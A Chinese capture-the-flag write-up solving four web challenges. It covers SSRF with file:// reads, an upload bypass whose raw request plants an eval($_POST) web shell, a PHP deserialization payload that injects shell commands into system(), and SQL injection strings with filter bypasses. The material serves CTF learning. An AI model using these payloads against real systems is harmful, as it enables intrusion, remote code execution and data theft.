骇极杯Web Writeup


  1. web1
    这题考察ssrf。
    robots.txt中提示有两个文件:
  • source.php
  • flag.php
    显然一个是源码一个是flag。
    image_1crgs2r4oepqtd0mobg8m540m.png-89.5kB

这里还考察了一个点,php获取ip的绕过,这里x-client-ip即可绕过。
![@JMXBRS[UGCT}~}FG2`}2T.png-69.6kB
常见的修改http请求头伪造ip的方法有:

  • X_FORWARDED_FOR
  • Client-IP
  • x-client-ip

然后让我们加上url参数请求i春秋的官网:
url=https://www.ichunqiu.com
image_1crgscmub1fk1elh1kjm2a7183822.png-39.5kB

而且每次请求都发现文件名在变,然后返回的东西里面还有;号,开始以为是考nginx的解析漏洞。后来一想不可能无缘无故给url参数,可能是指定url,然后把读取到的文件写到图片里面。
后来看到sn00py师傅测试url=//www.ichunqiu.com的时候发现,再去访问图片的响应码就变成200了。
GQND(}63)4FP0(DRLZGY6JF.png-29.7kB

image_1crgsp60u133k7motrk52k1l7k1p.png-59.3kB

然后想到用file协议去绕url限制:
image_1crgsuoi9b201mb44si144a8or26.png-35.8kB
image_1crgsuufhjfs17nn1rclhhfgsf2j.png-60.4kB

读flag
image_1crgt3nbf1l5m1a7115t0mt4ohe30.png-40.3kB
image_1crgt3svt1emu7ra1bnlcv9ule3d.png-73.3kB

  1. web2
    题目源码:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    <?php
    //error_reporting(0);
    //$dir=md5("icq" . $_SERVER['REMOTE_ADDR']);
    //$dir=md5("icq");
    //$sandbox = '/var/sandbox/' . $dir;
    //@mkdir($sandbox);
    //@chdir($sandbox);

    if($_FILES['file']['name']){
    $filename = !empty($_POST['file']) ? $_POST['file'] : $_FILES['file']['name'];
    if (!is_array($filename)) {
    $filename = explode('.', $filename);
    }
    $ext = end($filename);
    if($ext==$filename[count($filename) - 1]){
    die("emmmm...");
    }
    $new_name = (string)rand(100,999).".".$ext;
    move_uploaded_file($_FILES['file']['tmp_name'],$new_name);
    $_ = $_POST['hehe'];
    if(@substr(file($_)[0],0,6)==='@<?php' && strpos($_,$new_name)===false){
    include($_);
    }
    unlink($new_name);
    }
    else{
    highlight_file(__FILE__);
    }

上传页,抓包用:
upload.html-0.3kB

正常解法,先绕end()$filename[count($filename) - 1]的差异,然后end是取最后一个插入的元素,后者是取索引中的最后一个,然后我们上传的时候给file变量传数组就不会进入explode截断,这样就可以绕过:

1
2
3
if($ext==$filename[count($filename) - 1]){
die("emmmm...");
}

接着后面是给文件名重命令三位随机数,并且hehe参数不能包含这个随机重命名的上传文件。
这里参考

https://pupiles.com/%E7%94%B1%E4%B8%80%E9%81%93ctf%E9%A2%98%E5%BC%95%E5%8F%91%E7%9A%84%E6%80%9D%E8%80%83.html

接着可以使用x/../1.php/.进行文件覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
POST /file_upload/shanghai/1.php HTTP/1.1
Host: ctf
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------20782431812432
Content-Length: 717
Referer: https://ctf/file_upload/shanghai/upload.html
Connection: close
Upgrade-Insecure-Requests: 1


-----------------------------20782431812432
Content-Disposition: form-data; name="file[1]"

jpg
-----------------------------20782431812432
Content-Disposition: form-data; name="file[0]"

x/../1.php/.
-----------------------------20782431812432
Content-Disposition: form-data; name="hehe"

1.php
-----------------------------20782431812432
Content-Disposition: form-data; name="file"; filename="1.php"
Content-Type: application/octet-stream

@<?php $file = '1ndex.php';$code = '<?php eval($_POST[\'passer6y\']);?>';file_put_contents($file,$code);?>
-----------------------------20782431812432
Content-Disposition: form-data; name="submit"

submit
-----------------------------20782431812432--

这样就可以拿到shell了。

sn00py师傅最初的非预期解法,就是因为想到,hehe变量不能包含自己传上去的文件,所以开多个爆破程序,让A程序和B程序相互产生的随机数相互碰撞,直到包含成功。

  1. web3
    题目:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    35
    36
    37
    38
    39
    40
    41
    42
    43
    44
    45
    46
    47
    48
    49
    50
    51
    52
    53
    54
    55
    56
    57
    58
    59
    60
    61
    62
    63
    64
    65
    66
    67
    68
    69
    70
    71
    72
    73
    <?php
    error_reporting(E_ALL);
    class come{
    private $method;
    private $args;
    function __construct($method, $args) {
    $this->method = $method;
    $this->args = $args;
    }
    function __wakeup(){
    foreach($this->args as $k => $v) {
    $this->args[$k] = $this->waf(trim($v));
    }
    }
    function waf($str){
    $str=preg_replace("/[<>*;|?\n ]/","",$str);
    $str=str_replace('flag','',$str);
    return $str;
    }
    function echo($host){
    system("echo $host");
    }
    function __destruct(){
    if (in_array($this->method, array("echo"))) {
    call_user_func_array(array($this, $this->method), $this->args);
    }
    }

    }

    $first='hi';
    $var='var';
    $bbb='bbb';
    $ccc='ccc';
    $i=1;
    foreach($_GET as $key => $value) {
    if($i===1)
    {
    $i++;
    $$key = $value;
    }
    else{break;}
    }
    if($first==="doller")
    {
    @parse_str($_GET['a']); // 注册变量

    if($var==="give")
    {
    if($bbb==="me")
    {
    if($ccc==="flag")
    {
    echo "<br>welcome!<br>";
    $come=@$_POST['come'];
    unserialize($come);
    }
    }
    else
    {echo "<br>think about it<br>";}
    }
    else
    {
    echo "NO";
    }


    }
    else
    {
    echo "Can you hack me?<br>";
    }
    ?>

这题先考察变量覆盖,再考察反序列化漏洞。
37行处$i变量覆盖一直想多循环几次多覆盖几个变量,结果发现传入的i=1的类型是字符型,而if判断的是===
所以这里就只能先覆盖$first变量进入,parse_str部分,这里可以继续覆盖变量,文档,所以可以构造payload:

1
2
?first=doller&a%3dvar%3dgive%26bbb%3dme%26ccc%3dflag
// 解码后:?first=doller&a=var=give&bbb=me&ccc=flag

下面就考察反序列化的东西了,构造函数传入参数,析构函数回调echo函数。需要绕过waf函数。
&拼接命令,${IFS}绕过空格,fl””ag绕过flag的限制。

image_1crm340bpvfi15d819q31833s7s19.png-9.9kB

payload:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
<?php
error_reporting(E_ALL);
class come{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}
function __wakeup(){
foreach($this->args as $k => $v) {
$this->args[$k] = $this->waf(trim($v)); // 注册变量,过滤值
}
}
function waf($str){
$str=preg_replace("/[<>*;|?\n ]/","",$str);
$str=str_replace('flag','',$str);
return $str;
}
function echo($host){
echo "\n";
system("echo $host");
}
function __destruct(){
if (in_array($this->method, array("echo"))) {
call_user_func_array(array($this, $this->method), $this->args);
}
}

}

$args = array('1&cat${IFS}fl""ag');
$aa = new come("echo",$args);
echo urlencode(serialize($aa));

本地测试:
image_1crm35qnc10sc1lcjoe71rlhlr22m.png-73.6kB

  1. web4
    一个后台登录页,还有一个注入点。

if sleep # 没被过滤

1
1'+and+if((SELECT+VERSION())>1,sleep(3),0)%23

mid 也没被过滤

1
1'+and+if(mid((SELECT+VERSION()),1,1)+>1,sleep(3),0)%23

测下面这条语句被拦了

1
1'+and+if(mid((SELECT+schema_name+from+information_schema.SCHEMATA+limit+1,1),1,1)+>1,sleep(3),0)%23

下面这个证明拦截了关键字information_schema.

1
1'+and+if(mid((SELECT+schema_name+from+SCHEMATA+limit+1,1),1,1)+<1,sleep(3),0)%23&Submit=Select+Guest

可以用information . tables绕过,然后提示str_replace为空,所以需要双写,这里需要fuzz一下过滤的东西。然后双写select和from即可绕过

1
1'+and+if+((ascii(mid((seselectlect+table_name+frofromm+information_schema+.+tables+limit+1),1,1))>1),sleep(3),0)%23

这里还有一个显注的方法:

1
id=sd' unifromon selselectect (seselectlect group_concat(username,':',password)frfromom web.user),2#:

https://xz.aliyun.com/t/3153#toc-3

接下来就是一个文件上传
image_1crhijg1o78isca1kto1blqahb9.png-96.1kB
这里得想办法截断txt,或许是nginx解析漏洞?

sn00py师傅教我fuzz,0x00->0xff 然后尝试截断后面的txt,先用脚本生成一下字典

1
2
3
4
5
for i in range(0,256):
i = bytes(chr(i), 'utf8')
with open("dic.txt", "ab+") as f:
f.write(i)
f.write(bytes('\n', 'utf-8'))

image_1crhk7625t337hc7nd813qcb26.png-113.7kB